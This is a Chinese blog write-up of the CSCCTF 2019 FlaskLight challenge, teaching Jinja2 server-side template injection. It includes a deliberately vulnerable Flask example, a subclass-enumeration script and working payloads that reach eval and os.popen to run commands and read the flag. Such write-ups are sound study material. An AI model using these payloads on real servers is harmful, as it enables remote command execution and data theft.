当前位置:网站首页>一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI
一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI
2022-08-04 08:49:00 【sGanYu】
目录
做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是太少了,额也有可能是大佬觉得没有必要讲,不过在这里还是记录一下自己的一些解题思路,一方面也是防止自己忘记。文章会以简单容易理解的方式去理解SSTI的成因,不会设计一些复杂的问题但是还是需要拥有一些python的基础知识的,如有错误,欢迎指正
SSTI
服务器端模板注入(Server-Side Template Injection)
漏洞的主要产生点就是网页模板中的变量被二次渲染时造成的漏洞,服务端接收了用户的恶意输入后,在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,如信息泄露,命令执行,获取权限等等
JinJia模板引擎特点
{ { ... }}:装载一个变量,模板渲染时,会使用传进来的通命名参数将代表的值替换
{% ... %}:装载一个控制语句
{# ... #}:装载一个注释,模板渲染的时候会忽视这个值
无二次渲染的示例:
# 无二次渲染
from flask import *
app = Flask(__name__)
@app.route('/')
def index():
str = request.args.get('s')
html = '<h1>welcome</h1></br></p>{
{str}}</p>'
return render_template_string(html, str=str)
if __name__ == '__main__':
app.run()
以上代码中见到的@app.route(’/’),相当于一个路径,设置后,在url后面加上/user就可以访问了,
每一个route后面都必须由一个def函数存在
在pycharm中右击运行
右击运行,以get方式传入参数s,s的值为{ {2*2}}
访问pycharm开启的URL,如下图,{ {2*2}}被打印,代码没有被执行
存在二次渲染的示例:
# 有二次渲染
from flask import *
app = Flask(__name__)
@app.route('/')
def index():
str = request.args.get('s')
html = '<h1>welcome</h1></br></p>%s</p>'%(str)
return render_template_string(html)
if __name__ == '__main__':
app.run()
右击运行,用get方式传入s的值,{ {2*2}}代码被执行,2如下图,乘以2的结果为4
例如:{ {}}在Jinja2中作为变量包裹标识符,在渲染的时候会把{ {}}包裹的内容当做变量解析替换,
比如{ {2*2}}会被解析成4
如果在某个页面中找到了如上所示的SSTI漏洞,那么我们可以利用这个注入点,通过s传参,执行
模板引擎的控制语句以及命令
基本思路:利用python中的魔术方法找到所需的函数
当然凡是使用模板的地方都可能会出现SSTI 的问题,SSTI 不属于任何一种语言
漏洞复现
''.__class__
''的类型是str类型,调用__class__,指向变量所属的类,格式为"变量.__class__"
''.__class__.__mro__
由于''为str类型,通过str寻找当前类对象的所有继承类,当然__mro__不是唯一的方法,如__base__同样也可以寻找,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找
''.__class__.__mro__[1].__subclasses__()
__class__.__mro__以元组形式返还了两个关系,<class 'str'>和<class 'object'>,我们通过索引获取后面的object,再通过__subclasses__找到object对象下的所有子类,当然同样可以通过__class__.__base__.__subclasses__()寻找
这里我利用的是os模块,也就是subclasses()的第133个索引位,如下图
''.__class__.__mro__[1].__subclasses__()[133]
通过索引获取<class 'os._wrap_close'>
''.__class__.__mro__[1].__subclasses__()[133].__init__
通过__init__初始化类,查看是否有重载,出现wrapper说明已经被重载了
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__
通过__globals__寻找所有的方法及变量及参数
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']
以上找出了很多的全局变量,以字典的形式输出,这里用'__builtion__'做演示
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']
以上全局变量包含eval,利用eval再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")
命令执行ipconfig
简单来说,和SQL注入很像,循环渐进,找到库名,找表名,找到表名找字段等等,SSTI先找到父类,然后找父类下的子类,初始化后看看是否重载,再通过全局变量找到特定函数进行执行命令
[CSCCTF 2019 Qual]FlaskLight
这道题的漏洞点非常明显,一个是通过题目其实可以猜到这是一道SSTI的题型了,源码也给出了
提示,通过get类型,以search传值
既然目标明确了,那么首先调用class
/?search={
{''.__class__}}
通过str寻找当前类对象的所有继承类
/?search={
{''.__class__.__mro__}}
以元组形式返还了三个关系,<type 'str'>, <type 'basestring'>和 <type 'object'>,通过索引获取后
面的object,再通过subclasses找到object对象下的所有子类
/?search={
{''.__class__.__mro__[2].__subclasses__()}}
那么问题来了,眼前有这么多的子类,如何知道哪一个可以被我们利用并且成功命令执行呢,在第
一个例子里,我们通过globals全局变量获取了builtins,利用eval成功命令执行,那么是否可以编写
一个脚本批量寻找builtins,利用返回的状态码判断哪个子类可以被我们使用
import requests
url = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81'
for i in range(1, 100):
payload = "/?search={
{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
newurl = url + payload
res = requests.get(url=newurl + payload)
if 'builtins' in res.text:
print(newurl)
else:
pass
执行结果如下:
那么,payload就显而易见了,利用builtins的eval执行任意命令
/?search={
{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
查看flag,一开始我还以为flag在app.py文件里,以为flag形式改了,真的无语
/?search={
{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
边栏推荐
猜你喜欢
随机推荐
RL学习笔记(一)
经典动态规划问题的递归实现方法——LeetCode39 组合总和
dalle:zero-shot text-to-image generation
微信消息从发送到接收,经历了什么?如何防止丢包
金仓数据库KingbaseES客户端编程接口指南-JDBC(10. JDBC 读写分离最佳实践)
Fiddler(一)安装
redis分布式锁的实现
[NOI Simulation Competition] Paper Tiger Game (Game Theory SG Function, Long Chain Division)
华为设备配置VRRP与NQA联动监视上行链路
ShuffleNet v2 network structure reproduction (Pytorch version)
Recommend several methods that can directly translate PDF English documents
Convert callback function to Flow
给Unity Behavior Designer(Unity行为树) 的Can See Object 画圆锥辅助图
【NOI模拟赛】纸老虎博弈(博弈论SG函数,长链剖分)
2022-08-02 Analyze RK817 output 32k clock PMIC_32KOUT_WIFI to WiFi module clock register devm_clk_hw_register
金仓数据库 KDTS 迁移工具使用指南 (5. SHELL版使用说明)
Shared_preload_libraries cause many syntaxes not supported
此时已莺飞草长,愿世间美好与你环环相扣
layout manager
Unity3D data encryption